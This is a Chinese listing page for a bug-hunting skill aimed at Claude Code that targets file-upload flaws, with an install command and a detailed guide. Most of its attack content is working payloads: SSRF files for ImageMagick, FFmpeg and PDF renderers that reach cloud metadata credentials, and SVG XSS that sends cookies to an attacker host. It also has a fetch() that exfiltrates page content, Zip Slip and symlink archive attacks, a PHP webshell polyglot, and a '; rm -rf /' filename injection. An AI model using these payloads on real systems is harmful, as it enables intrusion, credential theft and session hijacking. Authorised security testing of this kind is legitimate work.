mcpField
H
hunt-file-upload

hunt-file-upload

github.com/elementalsouls安全5.3k287 次安装今天更新
代码仓库

关于 hunt-file-upload

hunt-file-upload 是评估文件上传处理及相关处理流程的安全测试技能,整理验证绕过手法,并检查 XSS、XXE、SSRF 和归档路径穿越等风险。

主要功能

  1. 01扩展名、MIME 与文件头绕过
  2. 02SVG、Office 文档及归档攻击检查
  3. 03ImageMagick 与 FFmpeg 处理测试
  4. 04HTML 转 PDF 的 SSRF 检查
  5. 05影响与可复现性验证

适用场景

  1. 01测试上传验证和文件类型处理
  2. 02评估图像与媒体处理中的 SSRF
  3. 03检查归档解压的路径穿越风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-file-upload

安装后在 Claude Code 中输入/hunt-file-upload确认已加载。

详细介绍

9. 文件上传

Content-Type 绕过
filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants
文件上传绕过技术(10 种)
攻击方法防护
扩展名绕过shell.php.jpg、shell.pHp、shell.php5使用允许列表 + 提取最终扩展名
空字节shell.php%00.jpg清理空字节
双扩展名shell.jpg.php仅允许单个扩展名
MIME 欺骗Content-Type: image/jpeg,但正文为 .php 文件内容验证魔数,而不是 MIME 标头
魔数前缀在 PHP 代码前添加 GIF89a;解析整个文件,而不只是标头
多格式文件同时是有效的 JPEG 和 PHP 文件使用图像库处理;若文件无效则拒绝
SVG JavaScript<svg onload="...">清理 SVG,或完全禁止
DOCX 中的 XXEOffice ZIP 中的恶意 XML禁用外部实体
ZIP 路径穿越压缩包中含有 ../../../etc/passwd验证解压后的路径
文件名注入文件名中包含 ; rm -rf /清理文件名 + 使用 UUID 命名
魔数参考
类型十六进制
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04
通过 SVG 实现存储型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg 漏洞利用

ImageMagick SSRF / 文件读取(ImageTragick 系列及现代变体)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
通过 HLS 播放列表实现 FFmpeg SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

无头 Chrome / PDF 生成器 SSRF

HTML → PDF 转换器攻击
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'

# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d "{\"html\": \"$PAYLOAD\"}"

压缩包解压攻击(ZIP 路径穿越 / 符号链接)

# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/

# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
  -F "file=@/tmp/zipslip.zip"

相关技能与攻击链

  • hunt-rce — 在经典 PHP/JSP/ASPX 技术栈中,一旦发现可直接访问的上传目录,或发现由反序列化器处理的内容,文件上传就是最常见的 RCE 入侵途径。攻击链:利用多格式文件 GIF89a;<?php system($_GET['c']);?> 绕过魔数检查,再利用 .phtml 扩展名绕过允许列表 → GET /uploads/shell.phtml?c=id → RCE;或者上传 PHP phar:// 文件至调用 file_exists() 检查攻击者控制路径的接收点 → PHP 对象反序列化 → RCE。
  • hunt-xxe — Office 格式(DOCX/XLSX/PPTX)、SVG 和 SOAP 附件都是 ZIP 中的 XML,因此每个上传并解析文件的功能都可能存在潜在的 XXE 漏洞。攻击链:上传 DOCX,其中的 [Content_Types].xml 或 word/document.xml 包含一个参数实体 DTD,指向攻击者控制的 DTD → 盲 XXE 带外文件读取 → 通过文档解析器外传 /etc/passwd 或 web.config。
  • hunt-xss — 上传后在同一来源提供服务的 SVG、HTML 文件和 PDF 都可能导致存储型 XSS。攻击链:上传包含 <script>fetch('//attacker/?'+document.cookie)</script> 的 SVG → 受害者访问 app.target.com/uploads/x.svg 中的附件(同一来源,未经过沙盒隔离)→ 窃取 Cookie → 通过会话劫持实现 ATO。
  • hunt-ssrf — 图像处理库(ImageMagick、ffmpeg)会从上传文件中获取远程 URL。攻击链:上传包含 <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> 的 SVG/MVG,或上传包含 ffmpeg concat:http://internal/... 的文件 → SSRF 访问 AWS IMDS → 获取云凭据;ImageTragick CVE-2016-3714 系列在旧版服务器集群中仍然存在。
  • security-arsenal — 使用文件上传绕过树:包含 10 行的扩展名/MIME/魔数绕过表(双扩展名、空字节、大小写变体、.phtml/.phar/.php5/.pht、上传 .htaccess 以重新启用处理器、在 IIS 上上传 web.config)、SVG/MVG/SVGZ 载荷、DOCX-XXE 模板、压缩包中的 ZIP 路径穿越,以及多格式文件生成器。
  • triage-validation — 应用可复现性门槛。文件上传成功,但从未被提供、执行或解析,不构成发现——它只是一个只写数据块。要确认严重级别的 RCE,必须通过上传的 Shell 实际完成 whoami 往返;要确认存储型 XSS,必须在受害者浏览器中触发弹窗,而不能只证明文件存在于磁盘上。

评论

支持 Markdown